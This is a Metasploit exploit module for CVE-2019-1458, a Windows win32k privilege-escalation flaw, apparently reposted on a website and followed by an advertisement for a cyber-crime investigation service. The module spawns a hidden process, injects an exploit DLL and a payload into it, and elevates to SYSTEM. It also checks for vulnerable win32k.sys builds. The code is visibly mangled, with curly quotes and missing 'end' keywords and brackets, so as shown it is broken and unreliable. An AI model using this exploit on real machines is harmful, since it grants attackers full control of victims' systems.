# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require ‘msf/core/post/file’
require ‘msf/core/exploit/exe’
require ‘msf/core/post/windows/priv’

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
‘Name’ => ‘Microsoft Windows Uninitialized Variable Local Privilege Elevation’,
‘Description’ => %q{
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
to write a limited amount of controlled data to an attacker controlled address
in kernel memory. By utilizing this vulnerability to execute controlled writes
to kernel memory, an attacker can gain arbitrary code execution
as the SYSTEM user.

This module has been tested against Windows 7 x64 SP1. Offsets within the
exploit code may need to be adjusted to work with other versions of Windows.
The exploit can only be triggered once against the target and can cause the
target machine to reboot when the session is terminated.
‘License’ => MSF_LICENSE,
‘Author’ =>
‘piotrflorczyk’, # poc
‘unamer’, # exploit
‘timwr’, # msf module
‘Platform’ => ‘win’,
‘SessionTypes’ => [‘meterpreter’],
‘Targets’ =>
[‘Windows 7 x64’, { ‘Arch’ => ARCH_X64 }]
‘Notes’ =>
‘Stability’ => [ CRASH_OS_RESTARTS ],
‘Reliability’ => [ UNRELIABLE_SESSION ]
‘References’ =>
[‘CVE’, ‘2019-1458’],
[‘URL’, ‘https://github.com/unamer/CVE-2019-1458’],
[‘URL’, ‘https://github.com/piotrflorczyk/cve-2019-1458_POC’],
[‘URL’, ‘https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/’],
[‘URL’, ‘https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html’]
‘DisclosureDate’ => ‘2019-12-10’,
‘DefaultTarget’ => 0,
‘AKA’ => [ ‘WizardOpium’ ]
OptString.new(‘PROCESS’, [true, ‘Name of process to spawn and inject dll into.’, ‘notepad.exe’])

def setup_process
process_name = datastore[‘PROCESS’]
print_status(“Launching #{process_name} to host the exploit…”)
launch_process = client.sys.process.execute(process_name, nil, ‘Hidden’ => true)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good(“Process #{process.pid} launched.”)
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error(‘Operation failed. Trying to elevate the current process…’)
process = client.sys.process.open

def check
sysinfo_value = sysinfo[‘OS’]

if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe

file_path = expand_path(‘%WINDIR%\system32\win32k.sys’)
major, minor, build, revision, branch = file_version(file_path)
vprint_status(“win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}”)

build_num_gemversion = Gem::Version.new(“#{major}.#{minor}.#{build}.#{revision}”)

# Build numbers taken from https://www.qualys.com/research/security-alerts/2019-12-10/microsoft/
if (build_num_gemversion >= Gem::Version.new(‘6.0.6000.0’)) && (build_num_gemversion < Gem::Version.new(‘6.0.6003.20692’)) # Windows Vista and Windows Server 2008
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new(‘6.1.7600.0’)) && (build_num_gemversion < Gem::Version.new(‘6.1.7601.24540’)) # Windows 7 and Windows Server 2008 R2
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new(‘6.2.9200.0’)) && (build_num_gemversion < Gem::Version.new(‘6.2.9200.22932’)) # Windows 8 and Windows Server 2012
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new(‘6.3.9600.0’)) && (build_num_gemversion < Gem::Version.new(‘6.3.9600.19574’)) # Windows 8.1 and Windows Server 2012 R2
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new(‘10.0.10240.0’)) && (build_num_gemversion < Gem::Version.new(‘10.0.10240.18427’)) # Windows 10 v1507
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new(‘10.0.10586.0’)) && (build_num_gemversion < Gem::Version.new(‘10.0.10586.99999’)) # Windows 10 v1511
return CheckCode::Appears
elsif (build_num_gemversion >= Gem::Version.new(‘10.0.14393.0’)) && (build_num_gemversion < Gem::Version.new(‘10.0.14393.3383’)) # Windows 10 v1607
return CheckCode::Appears
return CheckCode::Safe

def exploit

if is_system?
fail_with(Failure::None, ‘Session is already elevated’)

if sysinfo[‘Architecture’] != ARCH_X64
fail_with(Failure::NoTarget, ‘Running against 32-bit systems is not supported’)

process = setup_process
library_data = exploit_data(‘CVE-2019-1458’, ‘exploit.dll’)
print_status(“Injecting exploit into #{process.pid} …”)
exploit_mem, offset = inject_dll_data_into_process(process, library_data)
print_status(“Exploit injected. Injecting payload into #{process.pid}…”)
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [encoded_payload.length].pack(‘I<‘) + encoded_payload)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status(‘Payload injected. Executing exploit…’)
process.thread.create(exploit_mem + offset, payload_mem)

Source link

Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol’s Cyber Crime Investigation Unit provides investigative support to victims of cyber crimes. Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884